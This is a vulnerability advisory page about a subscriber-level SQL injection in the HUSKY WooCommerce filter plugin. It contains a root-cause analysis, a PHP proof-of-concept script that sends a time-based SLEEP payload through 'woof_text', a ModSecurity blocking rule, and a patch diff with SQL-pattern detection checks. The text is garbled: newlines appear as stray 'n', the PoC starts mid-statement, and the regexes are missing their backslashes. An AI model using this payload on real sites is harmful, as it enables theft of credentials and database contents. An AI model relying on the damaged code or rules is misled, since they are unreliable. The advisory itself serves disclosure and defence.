{
“analysis”: “Atomic Edge analysis of CVE-2026-120119: The HUSKY Products Filter for WooCommerce Professional plugin (versions up to and including 1.4.7) contains an authenticated SQL injection vulnerability. A subscriber-level user can inject arbitrary SQL via the ‘woof_text’ parameter, leading to time-based data extraction. The CVSS score is 6.5 (Medium).nnThe root cause lies in the ‘products_messenger’ extension, specifically in how it validates and stores SQL queries. In ‘ext/products_messenger/index.php’, the ‘sanitazed_sql_query()’ method originally performed insufficient checks: it only verified that the query started with ‘SELECT’ and that no dangerous keywords like INSERT or UPDATE appeared before a semicolon. It failed to block time-based functions (SLEEP, BENCHMARK), UNION queries, or comments. Additionally, the query was stored in user meta after being generated from user-supplied search terms (e.g., ‘woof_text’) without proper escaping of the ‘%’ placeholder. When the stored query is later executed (on subscription or newsletter sending), the unescaped ‘%’ characters are interpreted by $wpdb as placeholders for the original request’s arguments, which can be manipulated to inject SQL. The patch introduces ‘restore_percent_signs()’ to replace leftover placeholders, and strengthens ‘sanitazed_sql_query()’ with structural analysis: it strips quoted strings before checking for dangerous patterns like UNION, SLEEP, BENCHMARK, and table names such as wp_users.nnAn attacker with subscriber-level access can exploit this by crafting a malicious ‘woof_text’ parameter in a request to the plugin’s AJAX endpoint (likely via the ‘woof_redraw_woof’ action, which generates the ‘product_messenger’ nonce). The attacker sets ‘woof_text’ to a payload such as ‘x%’ AND SLEEP(5) AND ‘%’=’ ‘ or a UNION SELECT statement. This input becomes part of a WP_Query SQL string that is saved via the ‘products_messenger’ subscription functionality. The nonce is obtainable because the ‘by_only’ attribute of the shortcode can be forced via the ‘woof_shortcode’ request parameter. Later, when the stored query is executed (e.g., during subscription processing or newsletter generation), the injected SQL runs, allowing time-based blind extraction of data from the WordPress database.nnThe patch fixes the vulnerability by: (1) adding ‘restore_percent_signs()’ to convert any remaining ‘%’ placeholders back to literal ‘%’ characters before validation and execution, preventing placeholder injection; (2) rewriting ‘sanitazed_sql_query()’ to remove quoted strings, then reject queries containing SQL comments, UNION, time-based functions (SLEEP, BENCHMARK), file functions (LOAD_FILE), INTO OUTFILE, or references to information_schema and the users/usermeta tables; (3) using ‘wp_slash()’ when updating user meta to preserve backslashes in the stored SQL. These changes ensure that only benign SELECT queries generated by WP_Query are accepted and stored, and that stored queries cannot be altered by user-controlled placeholders.nnIf exploited, this vulnerability allows an authenticated attacker (subscriber or higher) to execute arbitrary SQL SELECT statements, enabling the extraction of sensitive information from the WordPress database, including user credentials, session tokens, and other confidential data. While the CVSS score is 6.5, the impact is significant as it can lead to full database compromise and potentially privilege escalation if admin credentials are harvested.”,
“poc_php”: “ $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n]));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_exec($ch);ncurl_close($ch);nn// Step 2: Obtain a valid product_messenger nonce by triggering the woof_redraw_woof AJAX endpointn// The nonce is issued when the shortcode’s by_only attribute is set. We force it via woof_shortcode parameter.n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/admin-ajax.php’);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘action’ => ‘woof_redraw_woof’,n ‘woof_shortcode’ => ‘by_only=”1″‘, // Force by_only attributen ‘woof_text’ => ‘test’ // Trigger normal query to get noncen]));ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n$response = curl_exec($ch);ncurl_close($ch);nn// Extract nonce from response (assumes nonce is in JSON or HTML)nif (preg_match(‘/”nonce”:”([^”]+)”/’, $response, $matches)) {n $nonce = $matches[1];n} else {n die(‘Could not extract nonce’);n}nn// Step 3: Craft malicious ‘woof_text’ payload for time-based SQL injectionn// Example payload: sleep for 5 seconds if condition true. Uses concatenation to bypass basic filters.n$payload = “x%’ AND (SELECT 1 FROM (SELECT SLEEP(5))a) AND ‘%’='”;nn// Step 4: Send request to subscribe to products messenger with malicious queryn// The plugin saves the generated SQL query in user meta, which later gets executed.n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/admin-ajax.php’);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘action’ => ‘woof_products_messenger_subscribe’, // Actual action name from pluginn ‘woof_text’ => $payload,n ‘nonce’ => $nonce,n // other required parameters like ‘get_var’ may be neededn]));ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n$start = microtime(true);n$response = curl_exec($ch);n$elapsed = microtime(true) – $start;ncurl_close($ch);nnif ($elapsed > 5) {n echo “SQL injection successful! Response time: ” . $elapsed . ” seconds\n”;n} else {n echo “Injection may have failed. Response time: ” . $elapsed . ” seconds\n”;n}nn// Note: The exact AJAX action names and parameters may vary. This PoC is illustrative.n// Refer to plugin source for ‘woof_products_messenger_subscribe’ and nonce generation.n?>”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-120119nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261201,phase:2,deny,status:403,chain,msg:’CVE-2026-120119 SQL Injection via woof_text’,severity:’CRITICAL’,tag:’CVE-2026-120119′”n SecRule ARGS_POST:action “@streq woof_redraw_woof” “chain”n SecRule ARGS_POST:woof_text “@rx (?i)(sleeps*(|benchmarks*(|unions+select|intos+(outfile|dumpfile)|load_files*(|;|–|/*)”
}

CVE-2026-120119: HUSKY <= 1.4.7 Authenticated (Subscriber+) SQL Injection via 'woof_text' Parameter PoC, Patch Analysis & Rule
CVE-2026-120119
woocommerce-products-filter
1.4.7
1.4.8
Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/woocommerce-products-filter/classes/helper.php
+++ b/woocommerce-products-filter/classes/helper.php
@@ -61,6 +61,17 @@
return map_deep( wp_unslash( $query_array ), 'sanitize_text_field' );
}
+ /**
+ * Stored form of the "JavaScript code after AJAX is done" setting. The front prints it through
+ * html_entity_decode() and stripcslashes(), so the code takes the reverse steps here. The entities
+ * also carry <, > and % through sanitize_textarea_field(), which would cut them out of the code.
+ */
+ public static function encode_js_setting( $code ) {
+ $code = str_replace( '\', '\\', $code );
+
+ return str_replace( array( '&', '<', '>', '%' ), array( '&', '<', '>', '%' ), $code );
+ }
+
public static function sanitize_array( $array, $path = '' ) {
$is_html = array( 'override_no_products' );
@@ -730,7 +741,8 @@
// fix if current query has more them one taxonomy
$temp_arr = array();
- if ( isset( $args['taxonomy'] ) and isset( $args[ $args['taxonomy'] ] ) and ! empty( $args[ $args['taxonomy'] ] ) ) {
+ // A non-string value (for example pa_color[]=red in the URL) must not reach explode()
+ if ( isset( $args['taxonomy'] ) and isset( $args[ $args['taxonomy'] ] ) and is_string( $args[ $args['taxonomy'] ] ) and ! empty( $args[ $args['taxonomy'] ] ) ) {
$temp_arr = explode( ',', $args[ $args['taxonomy'] ] );
if ( ! $temp_arr or count( $temp_arr ) < 1 ) {
$temp_arr = array();
--- a/woocommerce-products-filter/classes/request.php
+++ b/woocommerce-products-filter/classes/request.php
@@ -27,11 +27,19 @@
if ( $key2 ) {
if ( self::isset( $key ) ) {
+ // Objects never come from HTTP input, only from set(); unslashing would modify them in place
+ if ( isset( $_REQUEST[ $key ][ $key2 ] ) && is_object( $_REQUEST[ $key ][ $key2 ] ) ) {
+ return $_REQUEST[ $key ][ $key2 ];
+ }
return isset( $_REQUEST[ $key ][ $key2 ] ) ? self::sanitize( wp_unslash( $_REQUEST[ $key ][ $key2 ] ) ) : '';// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
}
}
if ( self::isset( $key ) ) {
+ // Objects never come from HTTP input, only from set(); unslashing would strip the escaping from a stored WP_Query SQL
+ if ( is_object( $_REQUEST[ $key ] ) ) {
+ return $_REQUEST[ $key ];
+ }
return self::sanitize( wp_unslash( $_REQUEST[ $key ] ) );// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
}
--- a/woocommerce-products-filter/ext/by_text/index.php
+++ b/woocommerce-products-filter/ext/by_text/index.php
@@ -677,6 +677,43 @@
return $where;
}
+ /**
+ * Parent product IDs of published variations whose SKU matches the search term.
+ * Memoized per request: create_where_query() runs for every WP_Query of the page (dynamic recount).
+ */
+ private function get_parent_ids_by_variation_sku( $search_type, $like, $term ) {
+ static $memo = array();
+
+ // Too short to be a meaningful SKU fragment and would match a huge number of variations
+ $length = function_exists( 'mb_strlen' ) ? mb_strlen( $term ) : strlen( $term );
+ if ( $length < 3 ) {
+ return array();
+ }
+
+ $key = $search_type . '|' . $like;
+ if ( isset( $memo[ $key ] ) ) {
+ return $memo[ $key ];
+ }
+
+ global $wpdb;
+ // $search_type is an internal constant (' LIKE ' or ' RLIKE '), never user input
+ $ids = $wpdb->get_col(
+ $wpdb->prepare(
+ "SELECT DISTINCT posts.post_parent
+ FROM {$wpdb->posts} AS posts
+ INNER JOIN {$wpdb->postmeta} AS pm ON ( posts.ID = pm.post_id AND pm.meta_key = '_sku' )
+ WHERE posts.post_type = 'product_variation'
+ AND posts.post_status = 'publish'
+ AND posts.post_parent > 0
+ AND pm.meta_value $search_type %s",// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+ $like
+ )
+ );
+
+ $memo[ $key ] = array_map( 'intval', $ids );
+ return $memo[ $key ];
+ }
+
public function create_where_query( $search_terms ) {
$tax_search = 0;
$meta_search = 0;
@@ -760,6 +797,13 @@
$sub_sql[] = $wpdb->prepare( "( postmeta.meta_key = %s AND postmeta.meta_value $search_type %s)", $meta_term, $like );// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
}
}
+ // Variation SKUs live on product_variation posts, so match them separately and add their parent products
+ if ( isset( $this->options['sku_compatibility'] ) && $this->options['sku_compatibility'] && ' AND ' !== $relation ) {
+ $parent_ids = $this->get_parent_ids_by_variation_sku( $search_type, $like, $term );
+ if ( ! empty( $parent_ids ) ) {
+ $sub_sql[] = "({$wpdb->posts}.ID IN (" . implode( ',', $parent_ids ) . '))';
+ }
+ }
$sql[] = '(' . implode( $relation, $sub_sql ) . ') ';
}
--- a/woocommerce-products-filter/ext/conditionals/index.php
+++ b/woocommerce-products-filter/ext/conditionals/index.php
@@ -56,7 +56,7 @@
<li>
<a href="#tabs-conditionals">
<span class="icon-air"></span>
- <span><?php esc_html_e( 'Сonditionals', 'woocommerce-products-filter' ); ?></span>
+ <span><?php esc_html_e( 'Conditionals', 'woocommerce-products-filter' ); ?></span>
</a>
</li>
<?php
--- a/woocommerce-products-filter/ext/conditionals/views/tabs_content.php
+++ b/woocommerce-products-filter/ext/conditionals/views/tabs_content.php
@@ -19,7 +19,7 @@
<div class="woof-section-title">
<div class="col-title">
- <h4><?php esc_html_e( 'Сonditionals', 'woocommerce-products-filter' ); ?></h4>
+ <h4><?php esc_html_e( 'Conditionals', 'woocommerce-products-filter' ); ?></h4>
</div>
<div class="col-button">
<a href="https://products-filter.com/extencion/conditionals/" target="_blank" class="button-primary"><span class="icon-info"></span></a><br>
--- a/woocommerce-products-filter/ext/front_builder/index.php
+++ b/woocommerce-products-filter/ext/front_builder/index.php
@@ -857,8 +857,13 @@
}
public function global_options() {
- $sql = $this->db->prepare( 'SELECT id FROM %i', $this->table );
- $data['ids'] = $this->db->get_results( $sql, ARRAY_A );
+ // The table used to be created only on the first [woof_front_builder] render,
+ // so make sure it exists before reading from it on the settings page
+ $data['ids'] = array();
+ if ( ! $this->install() ) {
+ $sql = $this->db->prepare( 'SELECT id FROM %i', $this->table );
+ $data['ids'] = $this->db->get_results( $sql, ARRAY_A );
+ }
$data['slug'] = woof()->get_swoof_search_slug();
woof()->render_html_e( $this->get_ext_path() . 'views' . DIRECTORY_SEPARATOR . 'global_options.php', $data );
--- a/woocommerce-products-filter/ext/meta_filter/html_types/datepicker/index.php
+++ b/woocommerce-products-filter/ext/meta_filter/html_types/datepicker/index.php
@@ -94,7 +94,7 @@
if ( $from != 'i' ) {
$from = $curr_range[0];
if ( $type == 'DATE' ) {
- $from = gmdate( 'Y-M-D', $from );
+ $from = gmdate( 'Y-M-D', (int) $from );
$to = gmdate( 'Y-M-D', 5396281199 );
}
}
@@ -103,7 +103,7 @@
$to = $curr_range[1];
if ( $type == 'DATE' ) {
$from = gmdate( 'Y-M-D', 0 );
- $to = gmdate( 'Y-M-D', $to );
+ $to = gmdate( 'Y-M-D', (int) $to );
}
}
@@ -179,12 +179,12 @@
if ( $arr_val[0] and $arr_val[0] != 'i' ) {
$value_txt .= ' ';
/* translators: %s: date value */
- $value_txt .= sprintf( esc_html__( 'from: %s', 'woocommerce-products-filter' ), gmdate( $format, $arr_val[0] ) );
+ $value_txt .= sprintf( esc_html__( 'from: %s', 'woocommerce-products-filter' ), gmdate( $format, (int) $arr_val[0] ) );
}
if ( $arr_val[1] and $arr_val[1] != 'i' ) {
$value_txt .= ' ';
/* translators: %s: date value */
- $value_txt .= sprintf( esc_html__( 'to: %s', 'woocommerce-products-filter' ), gmdate( $format, $arr_val[1] ) );
+ $value_txt .= sprintf( esc_html__( 'to: %s', 'woocommerce-products-filter' ), gmdate( $format, (int) $arr_val[1] ) );
}
}
--- a/woocommerce-products-filter/ext/meta_filter/html_types/datepicker/views/woof.php
+++ b/woocommerce-products-filter/ext/meta_filter/html_types/datepicker/views/woof.php
@@ -16,7 +16,7 @@
$to = '';
if ( ! empty( $current_request ) ) {
$from = ( $current_request[0] != 'i' ) ? $current_request[0] : '';
- $to = ( $current_request[1] != 'i' ) ? $current_request[1] : '';
+ $to = ( isset( $current_request[1] ) and $current_request[1] != 'i' ) ? $current_request[1] : '';
}
// Check if datepicker has products in current request
$count = 0;
@@ -88,12 +88,12 @@
if ( $from ) {
$top_panel_txt .= ' ';
/* translators: %s: date value */
- $top_panel_txt .= sprintf( esc_html__( 'from: %s', 'woocommerce-products-filter' ), gmdate( $format_, $from ) );
+ $top_panel_txt .= sprintf( esc_html__( 'from: %s', 'woocommerce-products-filter' ), gmdate( $format_, (int) $from ) );
}
if ( $to ) {
$top_panel_txt .= ' ';
/* translators: %s: date value */
- $top_panel_txt .= sprintf( esc_html__( 'to: %s', 'woocommerce-products-filter' ), gmdate( $format_, $to ) );
+ $top_panel_txt .= sprintf( esc_html__( 'to: %s', 'woocommerce-products-filter' ), gmdate( $format_, (int) $to ) );
}
?>
<div data-css-class="woof_meta_datepicker_container" class="woof_meta_datepicker_container woof_container woof_container_<?php echo esc_attr( 'datepicker_' . $meta_key ); ?>" <?php echo esc_attr( WOOF_HELPER::generate_container_css_classes( $meta_key ) ); ?>>
@@ -117,7 +117,7 @@
<input id="<?php echo esc_attr( $date_id ); ?>_from" data-format="<?php echo esc_html( $format ); ?>" type="text" readonly="readonly" data-meta-key="<?php echo esc_attr( $meta_key ); ?>" class="woof_calendar woof_calendar_from" placeholder="<?php esc_html_e( 'from', 'woocommerce-products-filter' ); ?>" />
<label class="woof_wcga_label_hide" for="<?php echo esc_attr( $date_id ); ?>_from"><?php esc_html_e( 'From', 'woocommerce-products-filter' ); ?></label>
<a href="#" data-meta-key="<?php echo esc_attr( $meta_key ); ?>" data-name="<?php echo esc_attr( $meta_key ); ?>_from" class="woof_meta_datepicker_reset">
- <img src="<?php echo esc_url( woof()->settings['delete_image'] ); ?>" height="12" width="12" alt="<?php esc_html_e( 'Сlear', 'woocommerce-products-filter' ); ?>" />
+ <img src="<?php echo esc_url( woof()->settings['delete_image'] ); ?>" height="12" width="12" alt="<?php esc_html_e( 'Clear', 'woocommerce-products-filter' ); ?>" />
</a>
</div>
<div class="woof_meta_datepicker_container">
--- a/woocommerce-products-filter/ext/products_messenger/index.php
+++ b/woocommerce-products-filter/ext/products_messenger/index.php
@@ -116,7 +116,7 @@
$text = '';
if ( $subscr[ $sanit_get['key'] ]['secret_key'] == $sanit_get['woof_skey'] ) {
unset( $subscr[ $sanit_get['key'] ] );
- update_user_meta( $sanit_get['id_user'], $this->user_meta_key, $subscr );
+ update_user_meta( $sanit_get['id_user'], $this->user_meta_key, wp_slash( $subscr ) );
}
$data['text'] = esc_html__( 'You are unsubscribed from the future products newsletters.', 'woocommerce-products-filter' );
woof()->render_html_e( $this->get_ext_path() . 'views' . DIRECTORY_SEPARATOR . 'unsubscr_template.php', $data );
@@ -162,19 +162,20 @@
$data_email = array();
$data_email['products'] = array();
- $safe_request = trim( $data_subscr['request'] );
- // Validate: must be a SELECT-only query with no stacked queries or dangerous statements.
- if ( stripos( $safe_request, 'SELECT' ) !== 0 ) {
+ // Same validation as on subscribe, so subscriptions stored before this check are filtered too
+ $safe_request = $this->sanitazed_sql_query( trim( $this->restore_percent_signs( $data_subscr['request'] ) ) );
+ if ( ! $safe_request ) {
continue;
}
- // Remove anything after a semicolon to prevent stacked queries.
- $safe_request = preg_replace( '/;.*$/s', '', $safe_request );
- // Reject if dangerous DML/DDL keywords are present.
- if ( preg_match( '/b(INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|TRUNCATE|REPLACE|EXEC|CALL)b/i', $safe_request ) ) {
+ // Older versions lost the backslash before an apostrophe of the search text, such a query can not
+ // be restored and the database rejects it: skip the subscription without an error on every run
+ $suppress_errors = $wpdb->suppress_errors( true );
+ // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- $safe_request is WP_Query-generated SQL stored in user meta, validated by sanitazed_sql_query() above.
+ $products = $wpdb->get_results( $safe_request );
+ $wpdb->suppress_errors( $suppress_errors );
+ if ( '' !== $wpdb->last_error ) {
continue;
}
- // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- $safe_request is WP_Query-generated SQL stored in user meta, validated above to be SELECT-only with no dangerous statements.
- $products = $wpdb->get_results( $safe_request );
foreach ( $products as $p ) { // if it has new products
if ( ! in_array( $p->ID, $data_subscr['product_ids'] ) ) {
@@ -212,7 +213,7 @@
// safe all info. If the wp_email does not work, the data is not updated
if ( $successful_sending ) {
- update_user_meta( $user->ID, $this->user_meta_key, $data_user );
+ update_user_meta( $user->ID, $this->user_meta_key, wp_slash( $data_user ) );
}
}
}
@@ -311,7 +312,7 @@
$data['get'] = $this->woof_get_html_terms( $this->sanitaz_array_r( isset( $_POST['get_var'] ) ? wp_unslash( $_POST['get_var'] ) : array() ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
$subscr = get_user_meta( $data['user_id'], $this->user_meta_key, true );
- $data['request'] = $this->sanitazed_sql_query( base64_decode( woof()->storage->get_val( 'woof_pm_request_' . $data['user_id'] ) ) );
+ $data['request'] = $this->sanitazed_sql_query( $this->restore_percent_signs( base64_decode( woof()->storage->get_val( 'woof_pm_request_' . $data['user_id'] ) ) ) );
// If the request has banned operators or is empty
if ( ! $data['request'] or empty( $data['request'] ) ) {
wp_die( 'Invalid request', 403 );
@@ -326,7 +327,7 @@
$subscr = array();
}
if ( count( $subscr ) >= $this->subscr_count ) {
- die( '<li class="woof_pm_max_count" >' . esc_html__( 'Сount is max', 'woocommerce-products-filter' ) . '</li>' ); // Check limit count on backend
+ die( '<li class="woof_pm_max_count" >' . esc_html__( 'Count is max', 'woocommerce-products-filter' ) . '</li>' ); // Check limit count on backend
}
// +++
$data['subscr_lang'] = apply_filters( 'woof_subscribe_lang', $this->subscribe_lang ); // Text of the subscriptions
@@ -348,7 +349,7 @@
}
$subscr[ $key ] = $data;
- update_user_meta( $data['user_id'], $this->user_meta_key, $subscr );
+ update_user_meta( $data['user_id'], $this->user_meta_key, wp_slash( $subscr ) ); // the stored SQL must keep its backslashes
$data['ext_link'] = $this->get_ext_link();
// for Ajax redraw
$cont = woof()->render_html( $this->get_ext_path() . 'views' . DIRECTORY_SEPARATOR . 'item_list_subscr.php', $data );
@@ -374,7 +375,7 @@
$key = sanitize_key( $_POST['key'] );
$subscr = get_user_meta( $user_id, $this->user_meta_key, true );
unset( $subscr[ $key ] );
- update_user_meta( $user_id, $this->user_meta_key, $subscr );
+ update_user_meta( $user_id, $this->user_meta_key, wp_slash( $subscr ) );
$arg = array( 'key' => $key );
die( json_encode( $arg ) );
}
@@ -522,7 +523,15 @@
return woof()->render_html( $this->get_ext_path() . 'views' . DIRECTORY_SEPARATOR . 'shortcodes' . DIRECTORY_SEPARATOR . 'woof_products_messenger.php', $data );
}
+ // WordPress writes % in LIKE as a placeholder of the request the query was built in, so a saved query
+ // can hold a placeholder of an older request. Query Save stores to the same key without removing it.
+ private function restore_percent_signs( $sql ) {
+ return preg_replace( '/{[0-9a-f]{64}}/', '%', (string) $sql );
+ }
+
public function sanitazed_sql_query( $sql ) {
+ global $wpdb;
+ $sql = (string) $sql;
// Must start with SELECT.
if ( stripos( trim( $sql ), 'SELECT' ) !== 0 ) {
return false;
@@ -536,6 +545,19 @@
return false;
}
}
+ // Check the query structure with quoted strings and identifiers blanked out,
+ // so a customer search text like "union jack" or "sleep mask" can never trigger these checks
+ $structure = preg_replace( '/'(?:[^'\\]|\\.|'')*'|"(?:[^"\\]|\\.|"")*"|`(?:[^`]|``)*`/s', "''", $sql );
+ // A product WP_Query never contains comments, UNION, timing or file functions, or system tables
+ if ( preg_match( '~/*|#|--|bUNIONb|b(SLEEP|BENCHMARK|GET_LOCK|LOAD_FILE)s*(|bINTOs+(OUTFILE|DUMPFILE)b|binformation_schemab~i', $structure ) ) {
+ return false;
+ }
+ // A product query never reads the users tables
+ foreach ( array( $wpdb->users, $wpdb->usermeta ) as $table ) {
+ if ( preg_match( '/b' . preg_quote( $table, '/' ) . 'b/i', $structure ) ) {
+ return false;
+ }
+ }
return $sql;
}
}
--- a/woocommerce-products-filter/ext/products_messenger/views/woof.php
+++ b/woocommerce-products-filter/ext/products_messenger/views/woof.php
@@ -4,7 +4,7 @@
die( 'No direct access allowed' );
}
-global $WOOF, $wp_query;
+global $WOOF, $wp_query, $wpdb;
if ( is_user_logged_in() ) {
$request = '';
@@ -16,6 +16,8 @@
if ( null == $request ) {
$request = '';
}
+ // The % placeholder of WordPress is valid in this request only, the query is stored and run later
+ $request = $wpdb->remove_placeholder_escape( $request );
woof()->storage->set_val( 'woof_pm_request_' . get_current_user_id(), base64_encode( $request ) ); // Save current request
}
--- a/woocommerce-products-filter/ext/query_save/index.php
+++ b/woocommerce-products-filter/ext/query_save/index.php
@@ -145,7 +145,7 @@
}
if ( count( $saved_q ) >= $this->search_count ) {
- die( '<li class="woof_sq_max_count" >' . esc_html__( 'Сount is max', 'woocommerce-products-filter' ) . '</li>' ); // Check limit count on backend
+ die( '<li class="woof_sq_max_count" >' . esc_html__( 'Count is max', 'woocommerce-products-filter' ) . '</li>' ); // Check limit count on backend
}
// +++
--- a/woocommerce-products-filter/ext/quick_search/views/shortcodes/woof_quick_search.php
+++ b/woocommerce-products-filter/ext/quick_search/views/shortcodes/woof_quick_search.php
@@ -3,6 +3,155 @@
die( 'No direct access allowed' );
}
+if ( ! function_exists( 'woof_get_meta_filter_html' ) ) {
+
+ function woof_get_meta_filter_html( $meta_item, $type, $title = '' ) {
+ switch ( $type ) {
+ case 'drop-down':
+ $meta_options = array();
+ if ( ! isset( $meta_item['options'] ) or ! $meta_item['options'] ) {
+ ?>
+ <div class="woof_qt_add_filter "><p class="woof_notice"><a href="#"><?php esc_html_e( 'Error! Please read documents', 'woocommerce-products-filter' ); ?></a></p></div>
+ <?php
+ break;
+ } else {
+ $meta_options = explode( ',', $meta_item['options'] );
+ }
+ ?>
+
+ <div class="woof_qt_add_filter woof_qt_add_filter_select woof_qt_add_filter_select_<?php echo esc_attr( $meta_item['meta_key'] ); ?>">
+ <<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
+ <?php echo esc_html( $title ); ?>
+ </<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
+ <select class="woof_qt_select meta_<?php echo esc_attr( $meta_item['meta_key'] ); ?>" data-meta="1" data-tax="<?php echo esc_attr( $meta_item['meta_key'] ); ?>">
+ <option value="-1"><?php echo esc_html( WOOF_HELPER::wpml_translate( null, $meta_item['title'] ) ); ?></option>
+ <?php foreach ( $meta_options as $key => $option ) : ?>
+ <?php
+ $option_title = $option;
+ $custom_title = explode( '^', $option, 2 );
+ if ( count( $custom_title ) > 1 ) {
+ $option = $custom_title[1];
+ $option_title = $custom_title[0];
+ }
+ ?>
+ <option value="<?php echo esc_html( $option ); ?>" >
+ <?php echo esc_html( WOOF_HELPER::wpml_translate( null, $option_title ) ); ?>
+ </option>
+ <?php endforeach; ?>
+ </select>
+ </div>
+ <?php
+ break;
+ case 'multi-drop-down':
+ $meta_options = array();
+ if ( ! isset( $meta_item['options'] ) or ! $meta_item['options'] ) {
+ ?>
+ <div class="woof_qt_add_filter "><p class="woof_notice"><a href="#"><?php esc_html_e( 'Error! Please read documents', 'woocommerce-products-filter' ); ?></a></p></div>
+ <?php
+ break;
+ } else {
+ $meta_options = explode( ',', $meta_item['options'] );
+ }
+ ?>
+
+ <div class="woof_qt_add_filter woof_qt_add_filter_select woof_qt_add_filter_select_<?php echo esc_attr( $meta_item['meta_key'] ); ?>">
+ <<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
+ <?php echo esc_html( $title ); ?>
+ </<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
+ <select class="woof_qt_select meta_<?php echo esc_attr( $meta_item['meta_key'] ); ?>" data-meta="1" data-tax="<?php echo esc_attr( $meta_item['meta_key'] ); ?>"multiple="multiple" >
+ <?php foreach ( $meta_options as $key => $option ) : ?>
+ <?php
+ $option_title = $option;
+ $custom_title = explode( '^', $option, 2 );
+ if ( count( $custom_title ) > 1 ) {
+ $option = $custom_title[1];
+ $option_title = $custom_title[0];
+ }
+ ?>
+ <option value="<?php echo esc_html( $option ); ?>" >
+ <?php echo esc_html( WOOF_HELPER::wpml_translate( null, $option_title ) ); ?>
+ </option>
+ <?php endforeach; ?>
+ </select>
+ </div>
+ <?php
+ break;
+ case 'checkbox':
+ $value = 1;
+ if ( $meta_item['search_view'] == 'checkbox' ) {
+ $meta_settings = woof()->settings[ $meta_item['meta_key'] ];
+ if ( $meta_settings['search_option'] == 0 ) {
+ $value = $meta_settings['search_value'];
+ } else {
+ $value = 'meta_exist';
+ }
+ }
+ ?>
+ <div class="woof_qt_add_filter woof_qt_add_filter_checkbox woof_qt_add_filter_checkbox_<?php echo esc_attr( $meta_item['meta_key'] ); ?>">
+ <<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
+ <?php echo esc_html( $title ); ?>
+ </<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
+
+ <div class="woof_qt_item_container">
+ <input type="checkbox" name="woof_qt_check_<?php echo esc_attr( $meta_item['meta_key'] ); ?>" class="woof_qt_checkbox meta_<?php echo esc_attr( $meta_item['meta_key'] ); ?>" data-tax="<?php echo esc_attr( $meta_item['meta_key'] ); ?>"value="<?php echo esc_html( $value ); ?>" >
+ <label class="woof_qt_checkbox_label"><?php echo esc_html( $title ); ?></label>
+ </div>
+ </div>
+ <?php
+ break;
+ case 'radio':
+ ?>
+ <div class="woof_qt_add_filter "><p class="woof_notice"><a href="#"><?php esc_html_e( 'Error! Please read documents', 'woocommerce-products-filter' ); ?></a></p></div>
+ <?php
+ break;
+ case 'slider':
+ if ( $meta_item['search_view'] != 'slider' ) {
+ ?>
+ <div class="woof_qt_add_filter "><p class="woof_notice"><a href="#"><?php esc_html_e( 'Error! Please read documents', 'woocommerce-products-filter' ); ?></a></p></div>
+ <?php
+ break;
+ }
+
+ $meta_settings = woof()->settings[ $meta_item['meta_key'] ];
+ wp_enqueue_script( 'ion.range-slider', WOOF_LINK . 'js/ion.range-slider/js/ion-rangeSlider/ion.rangeSlider.min.js', array( 'jquery' ), WOOF_VERSION );
+ wp_enqueue_style( 'ion.range-slider', WOOF_LINK . 'js/ion.range-slider/css/ion.rangeSlider.css', array(), WOOF_VERSION );
+ $skin = 'round';
+ if ( isset( woof()->settings['ion_slider_skin'] ) ) {
+ $skin = woof()->settings['ion_slider_skin'];
+ }
+ $skin = WOOF_HELPER::check_new_ion_skin( $skin );
+ $min = 0;
+ $max = 100;
+ if ( ! isset( $meta_settings['range'] ) ) {
+ $meta_settings['range'] = '1-100';
+ }
+ if ( ! isset( $meta_settings['step'] ) ) {
+ $meta_settings['step'] = 1;
+ }
+ if ( ! isset( $meta_settings['prefix'] ) or ! isset( $meta_settings['postfix'] ) ) {
+ $meta_settings['prefix'] = $meta_settings['postfix'] = '';
+ }
+ if ( ! isset( $meta_settings['step'] ) ) {
+ $meta_settings['step'] = 1;
+ }
+ $min_max = explode( '-', $meta_settings['range'], 2 );
+ if ( count( $min_max ) > 1 ) {
+ $min = floatval( $min_max[0] );
+ $max = floatval( $min_max[1] );
+ }
+ ?>
+ <div class="woof_qt_add_filter ">
